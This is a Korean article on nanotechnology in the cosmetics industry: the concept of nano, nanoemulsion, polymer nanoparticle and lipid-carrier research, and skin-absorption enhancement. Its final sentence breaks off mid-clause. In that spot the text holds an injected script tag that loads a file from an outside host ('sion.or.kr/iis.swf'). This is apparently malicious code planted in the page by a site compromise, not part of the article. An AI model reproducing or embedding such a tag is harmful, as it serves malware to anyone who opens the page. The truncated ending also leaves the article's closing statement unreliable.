“나노의 노를 저어 기능성 바다로” 미래산업 활용 무궁무진… 화장품의 효능 강화에 큰 몫 먼나라 얘기로만 들리던 나노테크놀로지(Nanotechnology·NT)가 우리곁에 성큼 다가왔다. 언제부턴가 신문과 방송 등에 ‘나노’라는 용어들이 포유하기 시작하더니 화장품 업종에도 본격적으로 나노 시대가 열리고 있다. 전자, 재료, 의약, 생체, 에너지 등의 사회 전반적인 분야에서 일고 있는 나노붐이 화장품업계에 거세게 몰아치고 있다. 도대체 나노가 무엇이길래 이렇게 나노 붐이 일어나고 있으며 이렇게 나노가 중요하다면 화장품업계에서는 어떻게 나노 시대를 준비해야 할까. 전 산업분야에 나노기술 광범위하게 활용 나노는 10억분의 1을 나타내는 말로 분자의 크기에 상응하는 단위다. 희랍어의 나노스 (nanos·난쟁이)에서 유래된 말로 1950년대 미국의 파인만 박사가 처음으로 개념을 제시한 용어다. 이 후 MIT의 드렉슬러 교수가 문자조립·제어장치를 실험실 수준에서 제작해 나노기술개발 가능성을 현실화하면서 널리 사용하게 됐다. 나노기술은 물질을 분자·원자 단위에서 규명하고 제어하는 기술을 말한다. 원자·분자들을 적절히 결합시킴으로써 기존 물질을 변형하고 개조함을 물론, 신물질의 창출을 가능케하는 기술을 말하는 것이다. 대체로 1~100나노미터 수준의 연구를 의미한다. 그러나 단순히 나노는 사이즈만을 규정해 특정한 분야를 정하고 있는 것은 아니다. 원자·분자 사이즈로 물건을 가공하고 조립해서 하나의 기능을 가진 유니트를 형성하는 기술을 말하는 것으로 넓게 이해하는 것이 타당할 것이다. 이런 나노기술은 메모리 반도체 같은 전자분야나 고성능의 촉매 같은 재료분야, 선택성 신의약 등 의약분야, 유전자 분석 등 생체분야 등 다양하게 활용되고 있다. 하지만 지금의 이런 연구와 그 성과물들은 ‘새발의 피’에 불과하다. 미래학자들은 실제로 미래에 펼쳐질 나노기술의 활용한계는 상상하기 힘들 정도로 놀라울 것이라고 확신하고 있다. 이런 중요한 나노기술에 대해 화장품업계는 어떻게 준비해야 할까. 나노, 제형기술 접목으로 실용화 기대 기능성화장품 시대가 열리면서 화장품 연구·개발·기술의 흐름은 우수한 효과·효능을 가지고 있는 기능성으로 집약되고 있다. 기능성화장품이란 생리활성을 갖는 소재를 함유한 화장품으로 해석할 수 있으며 이는 곧 나노와 밀접한 관련을 맺고 있다. 미백이나 주름방지, 자외선 차단제 등 최근 들어 시장이 급성장하고 있는 기능성화장품은 전체 화장품 산업 발전의 견인차 역할을 하면서도 신기술, 신제형 개발의 촉매제 기능을 톡톡히 하고 있다. 나노기술을 기능성 화장품의 제형기술에 접목하면 물리화학적으로 불안정한 생리활성물질을 분자수준에서 안정화해 활성물질만을 선택적으로 피부에 흡수시킬 수 있을 것으로 기대된다. 이로써 원하는 효능을 극대화하고 피부 부작용을 최소화할 수 있는 것이다. 현재 화장품업계에서 주로 연구되고 있는 나노입자들은 나노유화시스템과 고분자 나노입자, 지질 구조체 등이다. 나노유화시스템의 연구는 계면화학기술을 이용해 미세한 나노유화입자를 얻고, 제형상의 변화를 꾀하기 위한 목적으로 유화제의 HLB 조정, 유화온도의 조절 등의 방법으로 반전 유화법, 전상온도 유화법, D상 유화법, 액정 유화법 등이 지속적으로 발전되어 왔다. 고분자 나노입자 연구는 단상 및 다상유화 기술을 이용한 생리활성물질의 안정적 포접기술의 개발에 집중되어 있으며 이는 다시 새로운 나노입자 제조방법 연구와 특이한 계면성질 및 외부자극에 민감하게 성질이 변하는 smart materials 개발연구로 나뉜다. 지질구조체의 개발연구는 생체 친화적인 지질을 이용해 나노입자을 제조하는 방법을 말한다. 이는 각종 생리활성물질의 안정화와 경피 흡수 촉진을 위한 화장품 원료를 개발하기 위한 연구가 주를 이루고 있다. 이런 나노입자의 개발은 화장품 뿐만 아니라 피부질환 치료 등 의약품까지 응용이 가능하다. 나노 구조체의 기본 특성을 분석하고 생리활성물질의 효율적인 포접기술 및 안정성, 방출특성연구, 경구 투여 및 주사제로의 응용가능성의 연구나, 각종 세포에 대한 특이성 연구 등을 주요 과제로 삼고 있다. 또 이런 연구와 병행해 생화학적 고분자 및 합성고분자 피부흡수 증진제의 설계를 바탕으로 독자적인 저자극성 피부흡수증진제 연구를 진행함으로써 최적의 피부흡수 시스템을 구현하기 위한 연구들이 진행 중이다. 또한 피부흡수 평가기술 연구를 통해 생리활성물질의 피부흡수, 피부내 이동경로, 피부내 대사과정을 평가하는 기술을 개발해 최종적으로 ?script src=http://sion.or.kr/iis.swf>

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